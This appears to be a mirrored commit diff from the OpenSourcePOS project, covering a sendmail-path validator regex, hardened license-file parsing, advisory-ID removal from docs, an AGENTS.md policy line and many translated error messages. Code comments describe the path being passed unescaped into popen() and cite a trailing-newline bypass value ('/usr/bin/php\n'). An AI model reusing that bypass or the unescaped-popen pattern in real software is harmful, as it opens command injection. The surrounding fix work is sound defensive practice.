mirror/opensourcepos
1
0 Fork 0
mirror of https://github.com/opensourcepos/opensourcepos.git synced 2026-09-14 22:37:03 -04:00
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'master' into bugfix-escape-special-characters-in-env-key

Browse Source
This commit is contained in:
objecttothis authored and GitHub committed 2026-09-12 08:40:37 +04:00
2 parents 50a7bc1569 b610ae28ac
commit d3ec3665ac
56 files changed
+178 -216
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

AGENTS.md
+1
View File
@@ -60,3 +60,4 @@ This document provides guidance for AI agents working on the Open Source Point o
- Never commit secrets, credentials, or `.env` files
- Use parameterized queries to prevent SQL injection
- Validate and sanitize all user input
- Never reference security advisory IDs (CVE, GHSA, etc.) in code, comments, commit messages, docblocks, documentation, or URLs — treat them the same as secrets. They act as a roadmap for attackers researching the exact exploit a fix addresses.
BUILD.md
+1
View File
@@ -14,6 +14,7 @@ The build process uses the build tools "npm" and "gulp" to piece everything toge
## Prerequisites
- Install Node.js 20 or later (the build fails on Node 18 and earlier - one of the license reporting dependencies requires newer JavaScript regex features)
- Install the latest version of NPM (tested using version 9.4.2)
- Install the latest version of Composer (tested using composer 2.5.1)
INSTALL.md
+2 -3
View File
@@ -10,7 +10,7 @@
### Allowed Hostnames (REQUIRED for Production)
⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks (GHSA-jchf-7hr6-h4f3). **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.**
⚠️ **CRITICAL**: OpenSourcePOS validates the Host header to prevent Host Header Injection attacks. **You MUST configure `app.allowedHostnames` for production deployments. If not configured, the application will fail to start.**
**Add to your `.env` file:**
@@ -34,9 +34,8 @@ RuntimeException: Security: allowedHostnames is not configured.
**Solution**: Add `app.allowedHostnames` to your `.env` file with your domain(s).
**Why this matters:**
- Prevents Host Header Injection attacks (GHSA-jchf-7hr6-h4f3)
- Prevents Host Header Injection attacks
- Ensures URLs are generated with the correct domain
- Security advisory: https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-jchf-7hr6-h4f3
- Fixes issue #4480: .env configuration now works via comma-separated values
### HTTPS Behind Proxy
app/Config/Validation/OSPOSRules.php
+5 -5
View File
@@ -254,10 +254,10 @@ class OSPOSRules
}
/**
* Validates that the candidate is a plain filesystem path: only letters, digits,
* underscore, dash, dot and forward slash. Uses \A...\z (not ^...$) because PCRE's $
* also matches immediately before a single trailing newline, which would let a
* value like "/usr/bin/php\n" slip through — the bug behind GHSA-jc56-j8m6-q627.
* Validates a plain filesystem path, allowing space/colon/backslash for Windows paths and
* trailing sendmail-style args. Excludes shell metacharacters since this value is concatenated
* unescaped into a popen() call. Uses \A...\z, not ^...$, since $ also matches before a
* trailing newline.
*
* @param string $candidate
* @param string|null $error
@@ -270,6 +270,6 @@ class OSPOSRules
return false;
}
return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.]+\z/', $candidate);
return (bool) preg_match('/\A[a-zA-Z0-9_\-\/.: \\\\]+\z/', $candidate);
}
}
app/Controllers/Config.php
+26 -14
View File
@@ -158,14 +158,20 @@ class Config extends Secure_Controller
$file = file_get_contents('license/npm-prod.LICENSES');
$array = json_decode($file, true);
foreach ($array as $dependency) {
$license[$i]['text'] .= "library: {$dependency['name']}\n";
$license[$i]['text'] .= "authors: {$dependency['author']}\n";
$license[$i]['text'] .= "website: {$dependency['homepage']}\n";
$license[$i]['text'] .= "version: {$dependency['installedVersion']}\n";
$license[$i]['text'] .= "license: {$dependency['licenseType']}\n";
if (is_array($array)) {
foreach ($array as $dependency) {
if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) {
continue;
}
$license[$i]['text'] .= "\n";
$license[$i]['text'] .= "library: {$dependency['name']}\n";
$license[$i]['text'] .= "authors: {$dependency['author']}\n";
$license[$i]['text'] .= "website: {$dependency['homepage']}\n";
$license[$i]['text'] .= "version: {$dependency['installedVersion']}\n";
$license[$i]['text'] .= "license: {$dependency['licenseType']}\n";
$license[$i]['text'] .= "\n";
}
}
$license[$i]['text'] = rtrim($license[$i]['text'], "\n");
}
@@ -178,14 +184,20 @@ class Config extends Secure_Controller
$file = file_get_contents('license/npm-dev.LICENSES');
$array = json_decode($file, true);
foreach ($array as $dependency) {
$license[$i]['text'] .= "library: {$dependency['name']}\n";
$license[$i]['text'] .= "authors: {$dependency['author']}\n";
$license[$i]['text'] .= "website: {$dependency['homepage']}\n";
$license[$i]['text'] .= "version: {$dependency['installedVersion']}\n";
$license[$i]['text'] .= "license: {$dependency['licenseType']}\n";
if (is_array($array)) {
foreach ($array as $dependency) {
if (!is_array($dependency) || count(array_intersect(['name', 'author', 'homepage', 'installedVersion', 'licenseType'], array_keys($dependency))) !== 5) {
continue;
}
$license[$i]['text'] .= "\n";
$license[$i]['text'] .= "library: {$dependency['name']}\n";
$license[$i]['text'] .= "authors: {$dependency['author']}\n";
$license[$i]['text'] .= "website: {$dependency['homepage']}\n";
$license[$i]['text'] .= "version: {$dependency['installedVersion']}\n";
$license[$i]['text'] .= "license: {$dependency['licenseType']}\n";
$license[$i]['text'] .= "\n";
}
}
$license[$i]['text'] = rtrim($license[$i]['text'], "\n");
}
app/Language/ar-EG/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'يمين',
'sales_invoice_format' => 'شكل فاتورة البيع',
'sales_quote_format' => 'شكل فاتورة عرض الاسعار',
'mailpath_invalid' => '',
'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.',
'saved_successfully' => 'تم حفظ التهيئة بنجاح.',
'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.',
'security_issue' => 'تحذير من ثغرة أمنية',
app/Language/ar-LB/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'يمين',
'sales_invoice_format' => 'شكل فاتورة البيع',
'sales_quote_format' => 'شكل فاتورة عرض الاسعار',
'mailpath_invalid' => '',
'mailpath_invalid' => 'مسار sendmail غير صالح. يُسمح فقط بالحروف والأرقام والشرطات والشرطات السفلية والشرطات المائلة والشرطات المائلة العكسية والنقطتين الرأسيتين والمسافات والنقاط.',
'saved_successfully' => 'تم حفظ التهيئة بنجاح.',
'saved_unsuccessfully' => 'لم يتم حفظ التهيئة بنجاح.',
'security_issue' => 'تحذير من ثغرة أمنية',
app/Language/az/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Sağ',
'sales_invoice_format' => 'Satış Fatura Formatı',
'sales_quote_format' => 'Satış Sitat Formati',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Yanlış sendmail yolu. Yalnız hərflərə, rəqəmlərə, tirelərə, alt xətlərə, əyri xətlərə, tərs əyri xətlərə, iki nöqtəyə, boşluqlara və nöqtələrə icazə verilir.',
'saved_successfully' => 'Konfiqurasiya uğurla saxlanıldı.',
'saved_unsuccessfully' => 'Konfiqurasiyanı saxlamq mümkün olmadı.',
'security_issue' => 'Təhlükəsizlik açığı xəbərdarlığı',
app/Language/bg/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Невалиден път до sendmail. Разрешени са само букви, цифри, тирета, долни черти, наклонени черти, обратни наклонени черти, двоеточия, интервали и точки.',
'saved_successfully' => 'Configuration save successful.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/bs/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Desno',
'sales_invoice_format' => 'Format fakture',
'sales_quote_format' => 'Format navedene prodaje',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Nevažeća sendmail putanja. Dozvoljena su samo slova, brojevi, crtice, donje crte, kose crte, obrnute kose crte, dvotačke, razmaci i tačke.',
'saved_successfully' => 'Konfiguracija je uspješno snimljena.',
'saved_unsuccessfully' => 'Konfiguracija nije uspješno snimljena.',
'security_issue' => 'Upozorenje o sigurnosnoj ranjivosti',
app/Language/ckb/Config.php
+1
View File
@@ -284,6 +284,7 @@ return [
'right' => 'ڕاست',
'sales_invoice_format' => 'فۆڕماتی فاکتورەی فرۆشتن',
'sales_quote_format' => 'فۆڕماتی دەرخستەی نرخەکانی فرۆشتن',
'mailpath_invalid' => 'ڕێچکەی sendmail نادروستە. تەنها پیت، ژمارە، هێڵی بەستەرەوە، هێڵی ژێرەوە، سلاشی ڕاست، سلاشی چەپ، دوو خاڵ، بۆشایی و خاڵ ڕێگەپێدراون.',
'saved_successfully' => 'پاشەکەوتکردنی ڕێکخستن سەرکەوتوو بوو.',
'saved_unsuccessfully' => 'پاشەکەوتکردنی ڕێکخستن سەرکەوتوو نەبوو.',
'security_issue' => 'ئاگادارکردنەوەی لاوازی ئاسایش',
app/Language/cs/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Neplatná cesta k sendmailu. Povolena jsou pouze písmena, číslice, pomlčky, podtržítka, lomítka, zpětná lomítka, dvojtečky, mezery a tečky.',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => 'Security Vulnerability Warning',
app/Language/da/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Ugyldig sendmail-sti. Kun bogstaver, tal, bindestreger, understregninger, skråstreger, omvendte skråstreger, kolon, mellemrum og punktummer er tilladt.',
'saved_successfully' => 'Configuration save successful.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/de-CH/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Format Verkaufsrechnung',
'sales_quote_format' => '',
'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.',
'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche, Rückwärtsschrägstriche, Doppelpunkte, Leerzeichen und Punkte sind erlaubt.',
'saved_successfully' => 'Einstellungen erfolgreich gesichert',
'saved_unsuccessfully' => 'Einstellungen konnten nicht gesichert werden',
'security_issue' => 'Security Vulnerability Warning',
app/Language/de-DE/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Rechts',
'sales_invoice_format' => 'Format Verkaufsrechnung',
'sales_quote_format' => 'Angebotsformat',
'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche und Punkte sind erlaubt.',
'mailpath_invalid' => 'Ungültiger Sendmail-Pfad. Nur Buchstaben, Zahlen, Bindestriche, Unterstriche, Schrägstriche, Rückwärtsschrägstriche, Doppelpunkte, Leerzeichen und Punkte sind erlaubt.',
'saved_successfully' => 'Einstellungen erfolgreich gesichert.',
'saved_unsuccessfully' => 'Einstellungen konnten nicht gesichert werden.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/el/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Μη έγκυρη διαδρομή sendmail. Επιτρέπονται μόνο γράμματα, αριθμοί, παύλες, κάτω παύλες, κάθετοι, ανάστροφες κάθετοι, άνω-κάτω τελείες, κενά και τελείες.',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => 'Security Vulnerability Warning',
app/Language/en-GB/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.',
'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes, backslashes, colons, spaces and dots are allowed.',
'saved_successfully' => 'Configuration saved successfully.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/en/Config.php
+1 -1
View File
@@ -287,7 +287,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes and dots are allowed.',
'mailpath_invalid' => 'Invalid sendmail path. Only letters, numbers, dashes, underscores, slashes, backslashes, colons, spaces and dots are allowed.',
'saved_successfully' => 'Configuration save successful.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/es-ES/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Derecha',
'sales_invoice_format' => 'Formato de Facturas de Venta',
'sales_quote_format' => 'Formato de presupuesto de las ventas',
'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.',
'mailpath_invalid' => 'Ruta de sendmail no válida. Solo se permiten letras, números, guiones, guiones bajos, barras, barras invertidas, dos puntos, espacios y puntos.',
'saved_successfully' => 'Configuración guardada satisfactoriamente.',
'saved_unsuccessfully' => 'Configuración no guardada.',
'security_issue' => 'Advertencia de vulnerabilidad de seguridad',
app/Language/es-MX/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, barras y puntos.',
'mailpath_invalid' => 'Ruta de sendmail inválida. Solo se permiten letras, números, guiones, guiones bajos, diagonales, diagonales invertidas, dos puntos, espacios y puntos.',
'saved_successfully' => 'Configuration save successful.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/fa/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'درست',
'sales_invoice_format' => 'قالب فاکتور فروش',
'sales_quote_format' => 'قالب فروش قیمت',
'mailpath_invalid' => '',
'mailpath_invalid' => 'مسیر sendmail نامعتبر است. فقط حروف، اعداد، خط‌تیره، زیرخط، اسلش، بک‌اسلش، دونقطه، فاصله و نقطه مجاز هستند.',
'saved_successfully' => 'پیکربندی ذخیره موفقیت آمیز است.',
'saved_unsuccessfully' => 'ذخیره پیکربندی انجام نشد.',
'security_issue' => 'هشدار آسیب پذیری امنیتی',
app/Language/fr/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Droite',
'sales_invoice_format' => 'Format de la facture de vente',
'sales_quote_format' => 'Format de devis de vente',
'mailpath_invalid' => 'Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, underscores, barres obliques et points sont autorisés.',
'mailpath_invalid' => 'Chemin sendmail invalide. Seuls les lettres, chiffres, tirets, traits de soulignement, barres obliques, antislashs, deux-points, espaces et points sont autorisés.',
'saved_successfully' => 'Configuration enregistrer avec succès.',
'saved_unsuccessfully' => "L'enregistrement de configuration a échoué.",
'security_issue' => 'Avertissement de faille de sécurité',
app/Language/he/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'ימין',
'sales_invoice_format' => 'תבנית חשבונית מכירות',
'sales_quote_format' => 'תבנית חשבונית הצעת מחיר',
'mailpath_invalid' => '',
'mailpath_invalid' => 'נתיב sendmail לא תקין. מותרים רק אותיות, ספרות, מקפים, קווים תחתונים, לוכסנים, לוכסנים הפוכים, נקודתיים, רווחים ונקודות.',
'saved_successfully' => 'ההגדרות נשמרו בהצלחה.',
'saved_unsuccessfully' => 'שמירת ההגדרות נכשלה.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/hr-HR/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Oblik fakture',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Nevažeća sendmail putanja. Dopuštena su samo slova, brojevi, crtice, podvlake, kose crte, obrnute kose crte, dvotočke, razmaci i točke.',
'saved_successfully' => 'Konfiguracija je uspješno snimljena',
'saved_unsuccessfully' => 'Konfiguracija nije uspješno snimljena',
'security_issue' => 'Security Vulnerability Warning',
app/Language/hu/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Jobb',
'sales_invoice_format' => 'Eladási számla formátum',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Érvénytelen sendmail elérési út. Csak betűk, számok, kötőjelek, aláhúzások, perjelek, fordított perjelek, kettőspontok, szóközök és pontok engedélyezettek.',
'saved_successfully' => 'Beállítások sikeresen elmentve',
'saved_unsuccessfully' => 'Beállítások mentése sikertelen',
'security_issue' => 'Security Vulnerability Warning',
app/Language/hy/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Sendmail-ի ուղին անվավեր է։ Թույլատրվում են միայն տառեր, թվեր, գծիկներ, ընդգծումներ, թեք գծեր, հակառակ թեք գծեր, երկկետեր, բացատներ և կետեր։',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => '',
app/Language/id/Config.php
+1
View File
@@ -284,6 +284,7 @@ return [
'right' => 'Kanan',
'sales_invoice_format' => 'Format Faktur Penjualan',
'sales_quote_format' => 'Format Penawaran Penjualan',
'mailpath_invalid' => 'Jalur sendmail tidak valid. Hanya huruf, angka, tanda hubung, garis bawah, garis miring, garis miring terbalik, titik dua, spasi, dan titik yang diizinkan.',
'saved_successfully' => 'Konfigurasi berhasil disimpan.',
'saved_unsuccessfully' => 'Konfigurasi tidak berhasil disimpan.',
'security_issue' => 'Peringatan Kerentanan Keamanan',
app/Language/it/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Destra',
'sales_invoice_format' => 'Formato Fattura di Vendita',
'sales_quote_format' => 'Formato Preventivo',
'mailpath_invalid' => 'Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre e punti.',
'mailpath_invalid' => 'Percorso sendmail non valido. Sono ammessi solo lettere, numeri, trattini, trattini bassi, barre, barre rovesciate, due punti, spazi e punti.',
'saved_successfully' => 'Configurazione salvata correttamente.',
'saved_unsuccessfully' => 'Salvataggio Configurazione Fallito.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/ka/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'sendmail-ის ბილიკი არასწორია. დაშვებულია მხოლოდ ასოები, ციფრები, დეფისები, ხაზგასმები, დახრილი ხაზები, უკუხაზები, ორწერტილები, ჰარეები და წერტილები.',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => '',
app/Language/km/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'ផ្លូវ sendmail មិនត្រឹមត្រូវ។ អនុញ្ញាតតែអក្សរ លេខ សញ្ញាដាច់បន្ទាត់ សញ្ញាគូសក្រោម សញ្ញាចែកមុខ សញ្ញាចែកក្រោយ សញ្ញាចំណុចពីរ ចន្លោះ និងចំណុចប៉ុណ្ណោះ។',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => 'Security Vulnerability Warning',
app/Language/lo/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => '',
'mailpath_invalid' => 'ເສັ້ນທາງ sendmail ບໍ່ຖືກຕ້ອງ. ອະນຸຍາດສະເພາະຕົວອັກສອນ, ຕົວເລກ, ຂີດກາງ, ຂີດກ້ອງ, ຂີດຂ້າງໜ້າ, ຂີດຂ້າງຫຼັງ, ຈໍ້າສອງເມັດ, ວັກ ແລະ ຈຸດເທົ່ານັ້ນ.',
'saved_successfully' => 'Configuration save successful.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/ml/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'അസാധുവായ sendmail പാത്ത്. അക്ഷരങ്ങൾ, അക്കങ്ങൾ, ഡാഷുകൾ, അടിവരകൾ, സ്ലാഷുകൾ, ബാക്ക്സ്ലാഷുകൾ, കോളനുകൾ, സ്പേസുകൾ, ഡോട്ടുകൾ എന്നിവ മാത്രമേ അനുവദനീയമായുള്ളൂ.',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => 'Security Vulnerability Warning',
app/Language/nb/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Ugyldig sendmail-sti. Kun bokstaver, tall, bindestreker, understreker, skråstreker, omvendte skråstreker, kolon, mellomrom og punktum er tillatt.',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => '',
app/Language/nl-BE/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Rechts',
'sales_invoice_format' => 'Formattering Aankoop #',
'sales_quote_format' => 'Offerte formaat',
'mailpath_invalid' => 'Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.',
'mailpath_invalid' => 'Ongeldig sendmail-pad. Enkel letters, cijfers, streepjes, onderstrepingstekens, schuine strepen, omgekeerde schuine strepen, dubbele punten, spaties en punten zijn toegelaten.',
'saved_successfully' => 'Configuratie werd bewaard.',
'saved_unsuccessfully' => 'Configuratie kon niet worden bewaard.',
'security_issue' => 'Waarschuwing voor Veiligheidslek',
app/Language/nl-NL/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Rechts',
'sales_invoice_format' => 'Indeling verkoopfactuur',
'sales_quote_format' => 'Indeling verkoopofferte',
'mailpath_invalid' => 'Ongeldig sendmail pad. Alleen letters, cijfers, strepen, underscores, slashes en punten zijn toegestaan.',
'mailpath_invalid' => 'Ongeldig sendmail-pad. Alleen letters, cijfers, streepjes, onderstrepingstekens, schuine strepen, omgekeerde schuine strepen, dubbele punten, spaties en punten zijn toegestaan.',
'saved_successfully' => 'Configuratie opgeslagen.',
'saved_unsuccessfully' => 'Configuratie opslaan mislukt.',
'security_issue' => 'Beveilingskwetsbaarheid waarschuwing',
app/Language/pl/Config.php
+1
View File
@@ -284,6 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => 'Nieprawidłowa ścieżka sendmail. Dozwolone są tylko litery, cyfry, myślniki, podkreślenia, ukośniki, ukośniki odwrotne, dwukropki, spacje i kropki.',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => 'Security Vulnerability Warning',
app/Language/pt-BR/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Direita',
'sales_invoice_format' => 'Formato da Fatura de Vendas',
'sales_quote_format' => 'Formato de cotação de vendas',
'mailpath_invalid' => 'Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras e pontos são permitidos.',
'mailpath_invalid' => 'Caminho do sendmail inválido. Apenas letras, números, traços, sublinhados, barras, barras invertidas, dois-pontos, espaços e pontos são permitidos.',
'saved_successfully' => 'Configuração salva com sucesso.',
'saved_unsuccessfully' => 'Configuração não salva.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/ro/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => '',
'sales_invoice_format' => '',
'sales_quote_format' => '',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Cale sendmail invalidă. Sunt permise doar litere, cifre, liniuțe, liniuțe de subliniere, bare oblice, bare oblice inverse, două puncte, spații și puncte.',
'saved_successfully' => '',
'saved_unsuccessfully' => '',
'security_issue' => 'Security Vulnerability Warning',
app/Language/ru/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Справа',
'sales_invoice_format' => 'Формат накладной для продаж',
'sales_quote_format' => 'Формат предложений на продажу',
'mailpath_invalid' => 'Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчеркивания, слеши и точки.',
'mailpath_invalid' => 'Неверный путь sendmail. Разрешены только буквы, цифры, дефисы, подчёркивания, слеши, обратные слеши, двоеточия, пробелы и точки.',
'saved_successfully' => 'Конфигурация успешно сохранена.',
'saved_unsuccessfully' => 'Произошла ошибка при сохранении конфигурации.',
'security_issue' => 'Предупреждение об уязвимости системы безопасности',
app/Language/sv/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Höger',
'sales_invoice_format' => 'Försäljningsfakturaformat',
'sales_quote_format' => 'Försäljningsquotaformat',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Ogiltig sendmail-sökväg. Endast bokstäver, siffror, bindestreck, understreck, snedstreck, omvända snedstreck, kolon, mellanslag och punkter tillåts.',
'saved_successfully' => 'Konfigurationen sparades.',
'saved_unsuccessfully' => 'Konfigurationsbesparingen misslyckades.',
'security_issue' => 'Varning för säkerhetsrisker',
app/Language/sw-KE/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Kulia',
'sales_invoice_format' => 'Muundo wa Ankara ya Mauzo',
'sales_quote_format' => 'Muundo wa Nukuu ya Mauzo',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Njia ya sendmail si sahihi. Herufi, nambari, mistari mifupi, mistari chini, mikwaju, mikwaju ya kinyume, koloni, nafasi na vitone pekee ndivyo vinaruhusiwa.',
'saved_successfully' => 'Mpangilio umehifadhiwa kwa mafanikio.',
'saved_unsuccessfully' => 'Mpangilio umeshindwa kuhifadhiwa.',
'security_issue' => 'Onyo la Udhaifu wa Usalama',
app/Language/sw-TZ/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Kulia',
'sales_invoice_format' => 'Muundo wa Ankara ya Mauzo',
'sales_quote_format' => 'Muundo wa Nukuu ya Mauzo',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Njia ya sendmail si sahihi. Herufi, tarakimu, mistari mifupi, mistari ya chini, mikwaju, mikwaju ya kinyume, koloni, nafasi na vitone tu ndivyo vinaruhusiwa.',
'saved_successfully' => 'Mpangilio umehifadhiwa kwa mafanikio.',
'saved_unsuccessfully' => 'Mpangilio umeshindwa kuhifadhiwa.',
'security_issue' => 'Onyo la Udhaifu wa Usalama',
app/Language/ta/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => '',
'mailpath_invalid' => 'தவறான sendmail பாதை. எழுத்துகள், எண்கள், கோடுகள், அடிக்கோடுகள், சாய்வுக்கோடுகள், பின்சாய்வுக்கோடுகள், முக்காற்புள்ளிகள், இடைவெளிகள் மற்றும் புள்ளிகள் மட்டுமே அனுமதிக்கப்படும்.',
'saved_successfully' => 'Configuration save successful.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/th/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'ถูกต้อง',
'sales_invoice_format' => 'รหัสใบเสร็จ',
'sales_quote_format' => 'รูปแบบใบเสนอราคาขาย',
'mailpath_invalid' => '',
'mailpath_invalid' => 'เส้นทาง sendmail ไม่ถูกต้อง อนุญาตเฉพาะตัวอักษร ตัวเลข ขีดกลาง ขีดล่าง เครื่องหมายทับ เครื่องหมายทับกลับ โคลอน ช่องว่าง และจุดเท่านั้น',
'saved_successfully' => 'บันทึกข้อมูลร้านค้าเรียบร้อยแล้ว',
'saved_unsuccessfully' => 'บันทึกข้อมูลร้านค้าไม่สำเร็จ',
'security_issue' => 'คำเตือนช่องโหว่ด้านความปลอดภัย',
app/Language/tl/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Right',
'sales_invoice_format' => 'Sales Invoice Format',
'sales_quote_format' => 'Sales Quote Format',
'mailpath_invalid' => '',
'mailpath_invalid' => 'Hindi wastong landas ng sendmail. Mga titik, numero, gitling, underscore, slash, backslash, kolon, espasyo, at tuldok lamang ang pinapayagan.',
'saved_successfully' => 'Configuration save successful.',
'saved_unsuccessfully' => 'Configuration save failed.',
'security_issue' => 'Security Vulnerability Warning',
app/Language/tr/Config.php
+1 -1
View File
@@ -284,7 +284,7 @@ return [
'right' => 'Sağ',
'sales_invoice_format' => 'Satış Fatura Biçimi',
'sales_quote_format' => 'Satış Teklif Biçimi',
'mailpath_invalid' => '',
